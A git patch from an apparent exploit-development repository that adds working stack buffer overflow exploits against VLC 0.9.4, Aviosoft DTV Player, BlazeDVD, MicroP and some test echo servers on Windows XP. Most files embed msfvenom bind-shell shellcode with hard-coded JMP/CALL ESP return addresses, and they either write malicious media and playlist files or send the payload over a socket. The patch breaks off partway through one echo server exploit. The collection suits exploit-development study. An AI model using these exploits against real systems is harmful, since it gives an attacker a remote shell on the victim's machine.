From 9c352ebba65029b17bb8d373eff87fcc14557853 Mon Sep 17 00:00:00 2001 From: VoidSec Date: Mon, 1 Jul 2019 23:16:52 +0200 Subject: [PATCH] update --- helpers/badchar.py | 15 ++++ helpers/remote-exploit-framework.py | 14 +++ windows/x86/{ => local}/VLC_v.0.94-PoC.py | 0 windows/x86/local/VLC_v.0.94-exploit.py | 85 ++++++++++++++++++ .../local}/VirIT_Explorer_v.8.1.68-LPE.c | 0 .../x86/local/aviosoft_DTV_Player-1.0.0.1.py | 44 +++++++++ windows/x86/local/blaze_DVD_6.1.1.6.py | 43 +++++++++ windows/x86/local/microp_0.1.1.1600.py | 49 ++++++++++ .../x86/{ => remote}/32bit_FTP_v.07.08.08.py | 2 +- .../x86/remote/echo server/echo-badchar.py | 27 ++++++ windows/x86/remote/echo server/echo-jmpesp.py | 52 +++++++++++ windows/x86/remote/echo server/echo-str.py | 28 ++++++ windows/x86/remote/echo server/echo-v2.py | 51 +++++++++++ windows/x86/remote/echo server/echo-v3.py | 53 +++++++++++ windows/x86/remote/echo server/echo.py | 48 ++++++++++ windows/x86/remote/freeSSHd_1.0.9.py | 53 +++++++++++ windows/x86/remote/minishare_1.4.1.py | 53 +++++++++++ windows/x86/remote/war_FTPD_1.65.py | 49 ++++++++++ .../x86/{ => remote/win server}/WinServer.exe | Bin .../x86/{ => remote/win server}/WinServer.py | 2 +- 20 files changed, 666 insertions(+), 2 deletions(-) create mode 100644 helpers/badchar.py create mode 100644 helpers/remote-exploit-framework.py rename windows/x86/{ => local}/VLC_v.0.94-PoC.py (100%) create mode 100644 windows/x86/local/VLC_v.0.94-exploit.py rename windows/{ => x86/local}/VirIT_Explorer_v.8.1.68-LPE.c (100%) create mode 100644 windows/x86/local/aviosoft_DTV_Player-1.0.0.1.py create mode 100644 windows/x86/local/blaze_DVD_6.1.1.6.py create mode 100644 windows/x86/local/microp_0.1.1.1600.py rename windows/x86/{ => remote}/32bit_FTP_v.07.08.08.py (98%) create mode 100644 windows/x86/remote/echo server/echo-badchar.py create mode 100644 windows/x86/remote/echo server/echo-jmpesp.py create mode 100644 windows/x86/remote/echo server/echo-str.py create mode 100644 windows/x86/remote/echo server/echo-v2.py create mode 100644 windows/x86/remote/echo server/echo-v3.py create mode 100644 windows/x86/remote/echo server/echo.py create mode 100644 windows/x86/remote/freeSSHd_1.0.9.py create mode 100644 windows/x86/remote/minishare_1.4.1.py create mode 100644 windows/x86/remote/war_FTPD_1.65.py rename windows/x86/{ => remote/win server}/WinServer.exe (100%) rename windows/x86/{ => remote/win server}/WinServer.py (98%) diff --git a/helpers/badchar.py b/helpers/badchar.py new file mode 100644 index 0000000..3fbb4f7 --- /dev/null +++ b/helpers/badchar.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +import sys +badChars = [] +for bad in sys.argv[1:]: + badChars.append(int(bad, 0)) +counter = 0x00 +testBed = '"' +print "[+] Generating Test Chars: " +while counter <= 0xFF: + if counter not in badChars: + testBed += "\\x%02x" %counter + counter += 1 +testBed += '"' +print "[+] Done generating! \n\n" +print testBed + "\n\n" \ No newline at end of file diff --git a/helpers/remote-exploit-framework.py b/helpers/remote-exploit-framework.py new file mode 100644 index 0000000..e5f1b7c --- /dev/null +++ b/helpers/remote-exploit-framework.py @@ -0,0 +1,14 @@ +#!/usr/bin/python +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +buff="A"*args.pocl +sock.send(buff) +sock.close() \ No newline at end of file diff --git a/windows/x86/VLC_v.0.94-PoC.py b/windows/x86/local/VLC_v.0.94-PoC.py similarity index 100% rename from windows/x86/VLC_v.0.94-PoC.py rename to windows/x86/local/VLC_v.0.94-PoC.py diff --git a/windows/x86/local/VLC_v.0.94-exploit.py b/windows/x86/local/VLC_v.0.94-exploit.py new file mode 100644 index 0000000..23ee9a7 --- /dev/null +++ b/windows/x86/local/VLC_v.0.94-exploit.py @@ -0,0 +1,85 @@ +""" +Full title: VideoLAN VLC Media Player 0.9.4 TIVO Local Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based on the original work of Guido Landi) +Vendor Homepage: https://www.videolan.org +Version: VideoLAN VLC Media Player 0.9.4 +Tested on: Windows XP SP3 +Category: local exploits +Platform: windows +""" + +#!/usr/bin/python +EIP = "\x78\x6A\x83\x7C" #Address=7C836A78 call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6532 (C:\WINDOWS\system32\kernel32.dll) + +junk = "\x90" +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00" +shellcode=("\xba\x55\x49\x66\xbf\xdb\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1" +"\x53\x83\xc0\x04\x31\x50\x0e\x03\x05\x47\x84\x4a\x59\xbf\xca" +"\xb5\xa1\x40\xab\x3c\x44\x71\xeb\x5b\x0d\x22\xdb\x28\x43\xcf" +"\x90\x7d\x77\x44\xd4\xa9\x78\xed\x53\x8c\xb7\xee\xc8\xec\xd6" +"\x6c\x13\x21\x38\x4c\xdc\x34\x39\x89\x01\xb4\x6b\x42\x4d\x6b" +"\x9b\xe7\x1b\xb0\x10\xbb\x8a\xb0\xc5\x0c\xac\x91\x58\x06\xf7" +"\x31\x5b\xcb\x83\x7b\x43\x08\xa9\x32\xf8\xfa\x45\xc5\x28\x33" +"\xa5\x6a\x15\xfb\x54\x72\x52\x3c\x87\x01\xaa\x3e\x3a\x12\x69" +"\x3c\xe0\x97\x69\xe6\x63\x0f\x55\x16\xa7\xd6\x1e\x14\x0c\x9c" +"\x78\x39\x93\x71\xf3\x45\x18\x74\xd3\xcf\x5a\x53\xf7\x94\x39" +"\xfa\xae\x70\xef\x03\xb0\xda\x50\xa6\xbb\xf7\x85\xdb\xe6\x9f" +"\x6a\xd6\x18\x60\xe5\x61\x6b\x52\xaa\xd9\xe3\xde\x23\xc4\xf4" +"\x21\x1e\xb0\x6a\xdc\xa1\xc1\xa3\x1b\xf5\x91\xdb\x8a\x76\x7a" +"\x1b\x32\xa3\x17\x13\x95\x1c\x0a\xde\x65\xcd\x8a\x70\x0e\x07" +"\x05\xaf\x2e\x28\xcf\xd8\xc7\xd5\xf0\xf7\x4b\x53\x16\x9d\x63" +"\x35\x80\x09\x46\x62\x19\xae\xb9\x40\x31\x58\xf1\x82\x86\x67" +"\x02\x81\xa0\xff\x89\xc6\x74\x1e\x8e\xc2\xdc\x77\x19\x98\x8c" +"\x3a\xbb\x9d\x84\xac\x58\x0f\x43\x2c\x16\x2c\xdc\x7b\x7f\x82" +"\x15\xe9\x6d\xbd\x8f\x0f\x6c\x5b\xf7\x8b\xab\x98\xf6\x12\x39" +"\xa4\xdc\x04\x87\x25\x59\x70\x57\x70\x37\x2e\x11\x2a\xf9\x98" +"\xcb\x81\x53\x4c\x8d\xe9\x63\x0a\x92\x27\x12\xf2\x23\x9e\x63" +"\x0d\x8b\x76\x64\x76\xf1\xe6\x8b\xad\xb1\x17\xc6\xef\x90\xbf" +"\x8f\x7a\xa1\xdd\x2f\x51\xe6\xdb\xb3\x53\x97\x1f\xab\x16\x92" +"\x64\x6b\xcb\xee\xf5\x1e\xeb\x5d\xf5\x0a") +file=open("exploit.mpg","wb") +file.write("\xF5\x46\x7A\xBD" + "\x00\x00\x00\x02" + "\x00\x02\x00\x00" + (junk * 8) + "\x00\x00\x05\x41" + (junk * 4) + "\x00\x00\x05\x49" + (junk * 60) + EIP + (junk*60)+shellcode+(junk * (130976-len(shellcode)-60)) + "\x05" + (junk * 3) + "\x05" + (junk * 1) + "\x09" + "\xc0" + (junk * 14) + "\x06" + "\xe0" + (junk * 531062)) +file.close() +""" +-------------------------------------------------------- +| ty.c #112 TIVO_PES_FILEID 0xf5467abd | +-------------------------------------------------------- +| ty.c #113 TIVO_PART_LENGTH 0x20000000 | +-------------------------------------------------------- +| ty.c #114 CHUNK_SIZE 128 * 1024 | +-------------------------------------------------------- +| junk * 8 | +-------------------------------------------------------- +| i_map_size | +-------------------------------------------------------- +| junk * 4 | +-------------------------------------------------------- +| ty.c # 1654 i_seq_table_size/(8+i_map_size)== 1 | +-------------------------------------------------------- +| junk * 60 | +-------------------------------------------------------- +| EIP | +-------------------------------------------------------- +| big junk * 130976 (shellcode can fit here ) | +-------------------------------------------------------- +| ty.c #1743 i_num_recs must be greater than 5 | +-------------------------------------------------------- +| junk * 3 | +-------------------------------------------------------- +| p_hdrs (x05) | +-------------------------------------------------------- +| junk * 1 | +-------------------------------------------------------- +| ty.c #1763 rec_type == 0x9c0 -> AC-3DTivo | +| subrec_type (x09) | +| rec_type (xc0) | +-------------------------------------------------------- +| junk * 14 | +-------------------------------------------------------- +| video type rec_type == 0x6e0 -> S1 Tivo | +| subrec_type (x06) | +| rec_type (xe0) | +-------------------------------------------------------- +| big junk x 531062 | +-------------------------------------------------------- +""" \ No newline at end of file diff --git a/windows/VirIT_Explorer_v.8.1.68-LPE.c b/windows/x86/local/VirIT_Explorer_v.8.1.68-LPE.c similarity index 100% rename from windows/VirIT_Explorer_v.8.1.68-LPE.c rename to windows/x86/local/VirIT_Explorer_v.8.1.68-LPE.c diff --git a/windows/x86/local/aviosoft_DTV_Player-1.0.0.1.py b/windows/x86/local/aviosoft_DTV_Player-1.0.0.1.py new file mode 100644 index 0000000..4ac51b3 --- /dev/null +++ b/windows/x86/local/aviosoft_DTV_Player-1.0.0.1.py @@ -0,0 +1,44 @@ +""" +Full title: Aviosoft DTV Player 1.0.0.1 Professional Local Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://www.aviosoft.com/ +Version: Aviosoft DTV Player 1.0.0.1 Professional +Tested on: Windows XP SP3 +Category: local exploits +Platform: windows +""" +#!/usr/bin/python +file=open("exploit.plf","wb") +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x1a" +shellcode=("\xbe\xb2\x17\x21\x83\xd9\xc8\xd9\x74\x24\xf4\x5f\x29\xc9\xb1" +"\x53\x31\x77\x12\x83\xc7\x04\x03\xc5\x19\xc3\x76\xd5\xce\x81" +"\x79\x25\x0f\xe6\xf0\xc0\x3e\x26\x66\x81\x11\x96\xec\xc7\x9d" +"\x5d\xa0\xf3\x16\x13\x6d\xf4\x9f\x9e\x4b\x3b\x1f\xb2\xa8\x5a" +"\xa3\xc9\xfc\xbc\x9a\x01\xf1\xbd\xdb\x7c\xf8\xef\xb4\x0b\xaf" +"\x1f\xb0\x46\x6c\x94\x8a\x47\xf4\x49\x5a\x69\xd5\xdc\xd0\x30" +"\xf5\xdf\x35\x49\xbc\xc7\x5a\x74\x76\x7c\xa8\x02\x89\x54\xe0" +"\xeb\x26\x99\xcc\x19\x36\xde\xeb\xc1\x4d\x16\x08\x7f\x56\xed" +"\x72\x5b\xd3\xf5\xd5\x28\x43\xd1\xe4\xfd\x12\x92\xeb\x4a\x50" +"\xfc\xef\x4d\xb5\x77\x0b\xc5\x38\x57\x9d\x9d\x1e\x73\xc5\x46" +"\x3e\x22\xa3\x29\x3f\x34\x0c\x95\xe5\x3f\xa1\xc2\x97\x62\xae" +"\x27\x9a\x9c\x2e\x20\xad\xef\x1c\xef\x05\x67\x2d\x78\x80\x70" +"\x52\x53\x74\xee\xad\x5c\x85\x27\x6a\x08\xd5\x5f\x5b\x31\xbe" +"\x9f\x64\xe4\x2b\x97\xc3\x57\x4e\x5a\xb3\x07\xce\xf4\x5c\x42" +"\xc1\x2b\x7c\x6d\x0b\x44\x15\x90\xb4\x7b\xba\x1d\x52\x11\x52" +"\x48\xcc\x8d\x90\xaf\xc5\x2a\xea\x85\x7d\xdc\xa3\xcf\xba\xe3" +"\x33\xda\xec\x73\xb8\x09\x29\x62\xbf\x07\x19\xf3\x28\xdd\xc8" +"\xb6\xc9\xe2\xc0\x20\x69\x70\x8f\xb0\xe4\x69\x18\xe7\xa1\x5c" +"\x51\x6d\x5c\xc6\xcb\x93\x9d\x9e\x34\x17\x7a\x63\xba\x96\x0f" +"\xdf\x98\x88\xc9\xe0\xa4\xfc\x85\xb6\x72\xaa\x63\x61\x35\x04" +"\x3a\xde\x9f\xc0\xbb\x2c\x20\x96\xc3\x78\xd6\x76\x75\xd5\xaf" +"\x89\xba\xb1\x27\xf2\xa6\x21\xc7\x29\x63\x51\x82\x73\xc2\xfa" +"\x4b\xe6\x56\x67\x6c\xdd\x95\x9e\xef\xd7\x65\x65\xef\x92\x60" +"\x21\xb7\x4f\x19\x3a\x52\x6f\x8e\x3b\x77") +buffer="http://" +buffer+="A"*253 +buffer+="\x53\x93\x42\x7E"#JMP ESP 7E429353 +buffer+="\x90"*47 +buffer+=shellcode +buffer+="\x90"*8 +file.write(buffer) +file.close() \ No newline at end of file diff --git a/windows/x86/local/blaze_DVD_6.1.1.6.py b/windows/x86/local/blaze_DVD_6.1.1.6.py new file mode 100644 index 0000000..a5b9685 --- /dev/null +++ b/windows/x86/local/blaze_DVD_6.1.1.6.py @@ -0,0 +1,43 @@ +""" +Full title: BlazeDVD 6.1.1.6 Professional Local Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: https://www.softwarezirkel.de/ +Version: BlazeDVD 6.1.1.6 Professional +Tested on: Windows XP SP3 +Category: local exploits +Platform: windows +""" +#!/usr/bin/python +file=open("exploit.plf","wb") +#bad chars \x00\x0a\x0d +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x1a" +shellcode=("\xbe\xd3\x9a\x04\xd4\xdb\xde\xd9\x74\x24\xf4\x5b\x33\xc9\xb1" +"\x53\x83\xeb\xfc\x31\x73\x0e\x03\xa0\x94\xe6\x21\xba\x41\x64" +"\xc9\x42\x92\x09\x43\xa7\xa3\x09\x37\xac\x94\xb9\x33\xe0\x18" +"\x31\x11\x10\xaa\x37\xbe\x17\x1b\xfd\x98\x16\x9c\xae\xd9\x39" +"\x1e\xad\x0d\x99\x1f\x7e\x40\xd8\x58\x63\xa9\x88\x31\xef\x1c" +"\x3c\x35\xa5\x9c\xb7\x05\x2b\xa5\x24\xdd\x4a\x84\xfb\x55\x15" +"\x06\xfa\xba\x2d\x0f\xe4\xdf\x08\xd9\x9f\x14\xe6\xd8\x49\x65" +"\x07\x76\xb4\x49\xfa\x86\xf1\x6e\xe5\xfc\x0b\x8d\x98\x06\xc8" +"\xef\x46\x82\xca\x48\x0c\x34\x36\x68\xc1\xa3\xbd\x66\xae\xa0" +"\x99\x6a\x31\x64\x92\x97\xba\x8b\x74\x1e\xf8\xaf\x50\x7a\x5a" +"\xd1\xc1\x26\x0d\xee\x11\x89\xf2\x4a\x5a\x24\xe6\xe6\x01\x21" +"\xcb\xca\xb9\xb1\x43\x5c\xca\x83\xcc\xf6\x44\xa8\x85\xd0\x93" +"\xcf\xbf\xa5\x0b\x2e\x40\xd6\x02\xf5\x14\x86\x3c\xdc\x14\x4d" +"\xbc\xe1\xc0\xf8\xb4\x44\xbb\x1e\x39\x36\x6b\x9f\x91\xdf\x61" +"\x10\xce\xc0\x89\xfa\x67\x68\x74\x05\x96\x35\xf1\xe3\xf2\xd5" +"\x57\xbb\x6a\x14\x8c\x74\x0d\x67\xe6\x2c\xb9\x20\xe0\xeb\xc6" +"\xb0\x26\x5c\x50\x3b\x25\x58\x41\x3c\x60\xc8\x16\xab\xfe\x99" +"\x55\x4d\xfe\xb3\x0d\xee\x6d\x58\xcd\x79\x8e\xf7\x9a\x2e\x60" +"\x0e\x4e\xc3\xdb\xb8\x6c\x1e\xbd\x83\x34\xc5\x7e\x0d\xb5\x88" +"\x3b\x29\xa5\x54\xc3\x75\x91\x08\x92\x23\x4f\xef\x4c\x82\x39" +"\xb9\x23\x4c\xad\x3c\x08\x4f\xab\x40\x45\x39\x53\xf0\x30\x7c" +"\x6c\x3d\xd5\x88\x15\x23\x45\x76\xcc\xe7\x75\x3d\x4c\x41\x1e" +"\x98\x05\xd3\x43\x1b\xf0\x10\x7a\x98\xf0\xe8\x79\x80\x71\xec" +"\xc6\x06\x6a\x9c\x57\xe3\x8c\x33\x57\x26") +buffer="A"*260 +buffer+="\x53\x93\x42\x7E"#JMP ESP 7E429353 +buffer+="\x90"*40 +buffer+=shellcode +file.write(buffer) +file.close() \ No newline at end of file diff --git a/windows/x86/local/microp_0.1.1.1600.py b/windows/x86/local/microp_0.1.1.1600.py new file mode 100644 index 0000000..c271d8a --- /dev/null +++ b/windows/x86/local/microp_0.1.1.1600.py @@ -0,0 +1,49 @@ +""" +Full title: MicroP 0.1.1.1600 Local Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Vendor Homepage: http://sourceforge.net/projects/microp/ +Version: MicroP 0.1.1.1600 +Tested on: Windows XP SP3 +Category: local exploits +Platform: windows +""" + +#!/usr/bin/python +# EAX is pointing to buffer instead of ESP +# Follow EAX in dump, go to location MEM addr + A (junk) offset (in hex) +# see where the pattern is corrupted +file=open("exploit.mppl","wb") + +#badchar \x00\x0a\x0d +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x0d" +shellcode=("\xdb\xc4\xba\x79\x94\x98\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1" +"\x53\x31\x56\x17\x83\xc6\x04\x03\x2f\x87\x7a\x39\x33\x4f\xf8" +"\xc2\xcb\x90\x9d\x4b\x2e\xa1\x9d\x28\x3b\x92\x2d\x3a\x69\x1f" +"\xc5\x6e\x99\x94\xab\xa6\xae\x1d\x01\x91\x81\x9e\x3a\xe1\x80" +"\x1c\x41\x36\x62\x1c\x8a\x4b\x63\x59\xf7\xa6\x31\x32\x73\x14" +"\xa5\x37\xc9\xa5\x4e\x0b\xdf\xad\xb3\xdc\xde\x9c\x62\x56\xb9" +"\x3e\x85\xbb\xb1\x76\x9d\xd8\xfc\xc1\x16\x2a\x8a\xd3\xfe\x62" +"\x73\x7f\x3f\x4b\x86\x81\x78\x6c\x79\xf4\x70\x8e\x04\x0f\x47" +"\xec\xd2\x9a\x53\x56\x90\x3d\xbf\x66\x75\xdb\x34\x64\x32\xaf" +"\x12\x69\xc5\x7c\x29\x95\x4e\x83\xfd\x1f\x14\xa0\xd9\x44\xce" +"\xc9\x78\x21\xa1\xf6\x9a\x8a\x1e\x53\xd1\x27\x4a\xee\xb8\x2f" +"\xbf\xc3\x42\xb0\xd7\x54\x31\x82\x78\xcf\xdd\xae\xf1\xc9\x1a" +"\xd0\x2b\xad\xb4\x2f\xd4\xce\x9d\xeb\x80\x9e\xb5\xda\xa8\x74" +"\x45\xe2\x7c\xe0\x4d\x45\x2f\x17\xb0\x35\x9f\x97\x1a\xde\xf5" +"\x17\x45\xfe\xf5\xfd\xee\x97\x0b\xfe\x01\x34\x85\x18\x4b\xd4" +"\xc3\xb3\xe3\x16\x30\x0c\x94\x69\x12\x24\x32\x21\x74\xf3\x3d" +"\xb2\x52\x53\xa9\x39\xb1\x67\xc8\x3d\x9c\xcf\x9d\xaa\x6a\x9e" +"\xec\x4b\x6a\x8b\x86\xe8\xf9\x50\x56\x66\xe2\xce\x01\x2f\xd4" +"\x06\xc7\xdd\x4f\xb1\xf5\x1f\x09\xfa\xbd\xfb\xea\x05\x3c\x89" +"\x57\x22\x2e\x57\x57\x6e\x1a\x07\x0e\x38\xf4\xe1\xf8\x8a\xae" +"\xbb\x57\x45\x26\x3d\x94\x56\x30\x42\xf1\x20\xdc\xf3\xac\x74" +"\xe3\x3c\x39\x71\x9c\x20\xd9\x7e\x77\xe1\xe9\x34\xd5\x40\x62" +"\x91\x8c\xd0\xef\x22\x7b\x16\x16\xa1\x89\xe7\xed\xb9\xf8\xe2" +"\xaa\x7d\x11\x9f\xa3\xeb\x15\x0c\xc3\x39") +#|NOP sled|shellcode|NOP padding|CALL EAX +buffer="\x90"*24 +buffer+=shellcode +buffer+="\x90"*(1276-len(buffer)) +buffer+="\x4D\xDB\x42\x00"# we should call eax/jmp eax instead of esp 0042DB4D +file.write(buffer) +file.close() \ No newline at end of file diff --git a/windows/x86/32bit_FTP_v.07.08.08.py b/windows/x86/remote/32bit_FTP_v.07.08.08.py similarity index 98% rename from windows/x86/32bit_FTP_v.07.08.08.py rename to windows/x86/remote/32bit_FTP_v.07.08.08.py index ddd06bb..60980f8 100644 --- a/windows/x86/32bit_FTP_v.07.08.08.py +++ b/windows/x86/remote/32bit_FTP_v.07.08.08.py @@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com Vendor Homepage: https://www.electrasoft.com/ Version: 32bit FTP v.07.08.08 Tested on: Windows XP SP3 -Category: local exploits +Category: remote exploits Platform: windows Usage: start this script (it will set-up a listening server), launch 32bit FTP and connect it to the server """ diff --git a/windows/x86/remote/echo server/echo-badchar.py b/windows/x86/remote/echo server/echo-badchar.py new file mode 100644 index 0000000..a917050 --- /dev/null +++ b/windows/x86/remote/echo server/echo-badchar.py @@ -0,0 +1,27 @@ +""" +Full title: Echo Server BadChars Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Version: Echo Server BadChars +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\xaa\xdd" +#bad chars 0xaa,0xdd + +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +shellcode=("") +buff="A"*1400 +buff+="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" +sock.send(buff) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/echo server/echo-jmpesp.py b/windows/x86/remote/echo server/echo-jmpesp.py new file mode 100644 index 0000000..6b119c9 --- /dev/null +++ b/windows/x86/remote/echo server/echo-jmpesp.py @@ -0,0 +1,52 @@ +""" +Full title: Echo Server JMPESP Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Version: Echo Server JMPESP +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00" + +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +shellcode=("\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xbe\x94\xa2\xf8\xda\xb1" +"\x53\x83\xea\xfc\x31\x72\x13\x03\xe6\xb1\x1a\x2f\xfa\x5e\x58" +"\xd0\x02\x9f\x3d\x58\xe7\xae\x7d\x3e\x6c\x80\x4d\x34\x20\x2d" +"\x25\x18\xd0\xa6\x4b\xb5\xd7\x0f\xe1\xe3\xd6\x90\x5a\xd7\x79" +"\x13\xa1\x04\x59\x2a\x6a\x59\x98\x6b\x97\x90\xc8\x24\xd3\x07" +"\xfc\x41\xa9\x9b\x77\x19\x3f\x9c\x64\xea\x3e\x8d\x3b\x60\x19" +"\x0d\xba\xa5\x11\x04\xa4\xaa\x1c\xde\x5f\x18\xea\xe1\x89\x50" +"\x13\x4d\xf4\x5c\xe6\x8f\x31\x5a\x19\xfa\x4b\x98\xa4\xfd\x88" +"\xe2\x72\x8b\x0a\x44\xf0\x2b\xf6\x74\xd5\xaa\x7d\x7a\x92\xb9" +"\xd9\x9f\x25\x6d\x52\x9b\xae\x90\xb4\x2d\xf4\xb6\x10\x75\xae" +"\xd7\x01\xd3\x01\xe7\x51\xbc\xfe\x4d\x1a\x51\xea\xff\x41\x3e" +"\xdf\xcd\x79\xbe\x77\x45\x0a\x8c\xd8\xfd\x84\xbc\x91\xdb\x53" +"\xc2\x8b\x9c\xcb\x3d\x34\xdd\xc2\xf9\x60\x8d\x7c\x2b\x09\x46" +"\x7c\xd4\xdc\xf3\x74\x73\x8f\xe1\x79\xc3\x7f\xa6\xd1\xac\x95" +"\x29\x0e\xcc\x95\xe3\x27\x65\x68\x0c\x56\x2a\xe5\xea\x32\xc2" +"\xa3\xa5\xaa\x20\x90\x7d\x4d\x5a\xf2\xd5\xf9\x13\x14\xe1\x06" +"\xa4\x32\x45\x90\x2f\x51\x51\x81\x2f\x7c\xf1\xd6\xb8\x0a\x90" +"\x95\x59\x0a\xb9\x4d\xf9\x99\x26\x8d\x74\x82\xf0\xda\xd1\x74" +"\x09\x8e\xcf\x2f\xa3\xac\x0d\xa9\x8c\x74\xca\x0a\x12\x75\x9f" +"\x37\x30\x65\x59\xb7\x7c\xd1\x35\xee\x2a\x8f\xf3\x58\x9d\x79" +"\xaa\x37\x77\xed\x2b\x74\x48\x6b\x34\x51\x3e\x93\x85\x0c\x07" +"\xac\x2a\xd9\x8f\xd5\x56\x79\x6f\x0c\xd3\x89\x3a\x0c\x72\x02" +"\xe3\xc5\xc6\x4f\x14\x30\x04\x76\x97\xb0\xf5\x8d\x87\xb1\xf0" +"\xca\x0f\x2a\x89\x43\xfa\x4c\x3e\x63\x2f") + +buff="A"*1036 +buff+="\x69\xf0\xde\x77"#77DEF069 check for bad chars in the addr +buff+="\x90"*40 +buff+=shellcode +sock.send(buff) +sock.close() \ No newline at end of file diff --git a/windows/x86/remote/echo server/echo-str.py b/windows/x86/remote/echo server/echo-str.py new file mode 100644 index 0000000..206269b --- /dev/null +++ b/windows/x86/remote/echo server/echo-str.py @@ -0,0 +1,28 @@ +""" +Full title: Echo Server str Remote Stack Buffer Overflow +Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com +Version: Echo Server str +Tested on: Windows XP SP3 +Category: remote exploits +Platform: windows +""" +#!/usr/bin/python +#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00" + +import socket, sys, argparse + +parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec") +parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address") +parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port") +parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length") +args = parser.parse_args() + +sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((args.target , args.port)) +shellcode=("") 